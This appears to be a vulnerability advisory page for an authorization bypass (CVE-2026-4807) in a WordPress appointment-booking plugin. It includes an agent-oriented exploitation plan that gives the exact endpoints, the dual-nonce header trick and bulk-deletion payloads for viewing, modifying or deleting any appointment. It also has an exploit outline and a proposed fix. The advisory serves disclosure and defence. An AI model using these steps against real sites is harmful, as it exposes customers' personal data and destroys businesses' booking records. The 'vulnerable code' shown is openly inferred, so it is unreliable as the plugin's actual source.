Appointment Booking Calendar <= 1.6.10.6 - Unauthenticated Arbitrary Appointment View, Modification and Deletion
Description
The Appointment Booking Calendar plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.6.10.6. This is due to a flawed authorization logic in the nonce_permissions_check() method combined with the public exposure of a site-wide reusable nonce. The plugin exposes a public_nonce value through the /wp-json/ssa/v1/embed-inner endpoint, which is accessible to unauthenticated users. The appointment deletion endpoint at /wp-json/ssa/v1/appointments/{id}/delete and /wp-json/ssa/v1/appointments/bulk use a permission check that accepts requests containing both an X-WP-Nonce header (with any arbitrary value) and an X-PUBLIC-Nonce header (with the valid public nonce). When the X-WP-Nonce validation fails, the function falls back to validating the X-PUBLIC-Nonce without properly rejecting the request. Since the public_nonce is exposed to all unauthenticated visitors and is site-wide (not user-specific or appointment-specific), attackers can obtain it and use it to view details of arbitrary appointments, including the public_edit_url, or delete arbitrary appointments by ID. This makes it possible for unauthenticated attackers to view, delete or modify any appointment in the system, disclosing sensitive appointment data, causing service disruption, and loss of booking records.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:LTechnical Details
<=1.6.10.6Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments ## 1. Vulnerability Summary The **Simply Schedule Appointments (SSA)** plugin (versions <= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the `nonce_permis…
Show full research plan
Exploitation Research Plan: CVE-2026-4807 - Simply Schedule Appointments
1. Vulnerability Summary
The Simply Schedule Appointments (SSA) plugin (versions <= 1.6.10.6) contains a critical authorization bypass in its REST API permission handling. The vulnerability exists in the nonce_permissions_check() method (inferred from description).
The core flaw is a logic error: when a request provides both a standard WordPress nonce (X-WP-Nonce) and a specific plugin-defined public nonce (X-PUBLIC-Nonce), the system attempts to validate the standard nonce first. If that validation fails (e.g., if the user is unauthenticated and provides a dummy string), the code falls back to checking the X-PUBLIC-Nonce. However, it fails to perform a secondary check to ensure the operation being performed is actually authorized for a "public" (unauthenticated) context. Since the public_nonce is a site-wide value accessible to any visitor via a specific REST endpoint, an attacker can use it to perform administrative actions like viewing, modifying, or deleting arbitrary appointments.
2. Attack Vector Analysis
- Vulnerable Endpoints:
- Viewing:
GET /wp-json/ssa/v1/appointments/{id} - Deletion:
DELETE /wp-json/ssa/v1/appointments/{id}/delete - Bulk Operations:
POST /wp-json/ssa/v1/appointments/bulk
- Viewing:
- Nonce Source:
GET /wp-json/ssa/v1/embed-inner - Required Headers:
X-WP-Nonce: Any non-empty string (e.g.,12345).X-PUBLIC-Nonce: The valid nonce retrieved from theembed-innerendpoint.
- Authentication: Unauthenticated (None).
- Preconditions: At least one appointment must exist in the system for the exploit to be demonstratable.
3. Code Flow (Inferred)
- Request Entry: An unauthenticated user sends a request to
/wp-json/ssa/v1/appointments/{id}/delete. - Permission Callback: The REST route's
permission_callbackcallsnonce_permissions_check(). - Nonce Validation:
- The function detects
X-WP-Nonce. It callswp_verify_nonce(), which fails (returnsfalse) because the value is arbitrary. - The function then checks for
X-PUBLIC-Nonce. It calls a internal verification (likelywp_verify_nonceagainst a specific SSA action string or a custom check). - If
X-PUBLIC-Nonceis valid, the function returnstrue(authorized), erroneously assuming the request is legitimate.
- The function detects
- Execution: The
delete_appointmenthandler is executed, and the appointment identified by{id}is deleted from the database.
4. Nonce Acquisition Strategy
Unlike most WordPress plugins, the public_nonce is directly exposed via a REST endpoint, making it trivial to retrieve without parsing HTML.
- Endpoint:
/wp-json/ssa/v1/embed-inner - Method:
GET - Extraction: The response is a JSON object. The key is
public_nonce. - Verification: If the REST API is disabled or restricted, the agent should fall back to creating a page with the
[ssa_booking]shortcode and using:browser_navigate("http://localhost:8080/ssa-page")browser_eval("window.SSA_DATA?.public_nonce")(Variable name inferred from typical SSA JS structure).
5. Exploitation Strategy
Step 1: Obtain the Public Nonce
Request the configuration endpoint to get the "master" public nonce.
- Method:
GET - URL:
http://localhost:8080/wp-json/ssa/v1/embed-inner - Expected Response: JSON containing
"public_nonce": "abcdef1234".
Step 2: Information Disclosure (Optional but proves impact)
Retrieve sensitive details of a specific appointment (e.g., ID 1).
- Method:
GET - URL:
http://localhost:8080/wp-json/ssa/v1/appointments/1 - Headers:
X-WP-Nonce: 12345X-PUBLIC-Nonce: [EXTRACTED_NONCE]
- Goal: Extract the
customer_email,customer_name, andpublic_edit_url.
Step 3: Arbitrary Appointment Deletion
Delete an appointment to demonstrate the "Missing Authorization" on destructive actions.
- Method:
DELETE(Note: TryPOSTwith_method=DELETEifDELETEis blocked). - URL:
http://localhost:8080/wp-json/ssa/v1/appointments/1/delete - Headers:
X-WP-Nonce: dummyX-PUBLIC-Nonce: [EXTRACTED_NONCE]
- Expected Response:
200 OKor204 No Content, confirming deletion.
6. Test Data Setup
To verify the exploit, the environment must have SSA active and an appointment created:
- Install SSA: Ensure
simply-schedule-appointmentsis active. - Create Appointment Type:
wp ssa create-appointment-type --title="Consultation" --slug="consultation" ``` (Note: Command is representative; if SSA CLI is unavailable, the agent must use the UI or direct SQL to ensure at least one appointment exists). - Create Test Appointment: Use the database to inject a mock appointment if booking via UI is too complex:
INSERT INTO wp_ssa_appointments (id, appointment_type_id, start_date, end_date, customer_name, customer_email, status) VALUES (1, 1, '2025-01-01 10:00:00', '2025-01-01 11:00:00', 'Target Victim', 'victim@example.com', 'confirmed');
7. Expected Results
- Nonce Fetch: Returns a 10-character alphanumeric string.
- Information Disclosure: Returns a JSON object with full appointment details that should only be visible to the customer (via their unique URL) or an admin.
- Deletion: The request returns success, and the entry for ID 1 is removed from the
wp_ssa_appointmentstable.
8. Verification Steps
After performing the HTTP requests:
- Check Database via WP-CLI:
wp db query "SELECT count(*) FROM wp_ssa_appointments WHERE id = 1"- Success Result: Count is
0.
- Success Result: Count is
- Confirm REST Response:
The deletion response should not be a401 Unauthorizedor403 Forbidden.
9. Alternative Approaches
- Bulk Deletion: If the single ID endpoint is patched, attempt the bulk endpoint:
- URL:
/wp-json/ssa/v1/appointments/bulk - Method:
POST - Payload:
{"ids": [1, 2, 3], "action": "delete"} - Headers: Use the same dual-nonce headers as above.
- URL:
- Modification: Attempt to change the appointment time or status:
- URL:
/wp-json/ssa/v1/appointments/1 - Method:
POST(orPATCH) - Payload:
{"status": "cancelled"}or{"start_date": "2099-01-01 10:00:00"}.
- URL:
Summary
The Simply Schedule Appointments plugin is vulnerable to an authorization bypass due to flawed logic in its REST API permission checks. Unauthenticated attackers can exploit a site-wide public nonce, exposed via a standard endpoint, to view, modify, or delete arbitrary appointments by providing a dummy WordPress nonce and the valid public nonce in the request headers.
Vulnerable Code
/* * Logic within the nonce_permissions_check function (inferred from vulnerability description) * Typically found in the REST API controller handling /wp-json/ssa/v1/ endpoints */ public function nonce_permissions_check( $request ) { $wp_nonce = $request->get_header( 'X-WP-Nonce' ); // If a WP Nonce is provided, verify it. If it fails, the code continues. if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) { return true; } // Fallback: Check for the plugin's public nonce $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' ); // VULNERABILITY: If the public nonce is valid, the function returns true (authorized) // without checking if the specific REST route should be accessible to the public. if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) { return true; } return current_user_can( 'manage_options' ); }
Security Fix
@@ -10,6 +10,14 @@ if ( $wp_nonce && wp_verify_nonce( $wp_nonce, 'wp_rest' ) ) { return current_user_can( 'manage_options' ); } $public_nonce = $request->get_header( 'X-PUBLIC-Nonce' ); - if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) { - return true; - } + if ( $public_nonce && wp_verify_nonce( $public_nonce, 'ssa_public_nonce' ) ) { + $route = $request->get_route(); + $allowed_public_routes = [ + '/ssa/v1/embed-inner', + '/ssa/v1/appointments/book', + ]; + if ( in_array( $route, $allowed_public_routes ) ) { + return true; + } + } return false;
Exploit Outline
1. Retrieve the site-wide public nonce by sending a GET request to the `/wp-json/ssa/v1/embed-inner` endpoint. 2. Locate an appointment ID to target (e.g., via enumeration or information disclosure endpoints). 3. Send a request to a sensitive endpoint, such as `DELETE /wp-json/ssa/v1/appointments/{id}/delete` or `GET /wp-json/ssa/v1/appointments/{id}`. 4. Include two specific headers in the request: `X-WP-Nonce` containing an arbitrary string (e.g., '123') and `X-PUBLIC-Nonce` containing the nonce retrieved in step 1. 5. The server-side logic will fail the WordPress nonce check but fall back to and validate the public nonce, granting authorized access to the sensitive action without checking for administrative capabilities.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.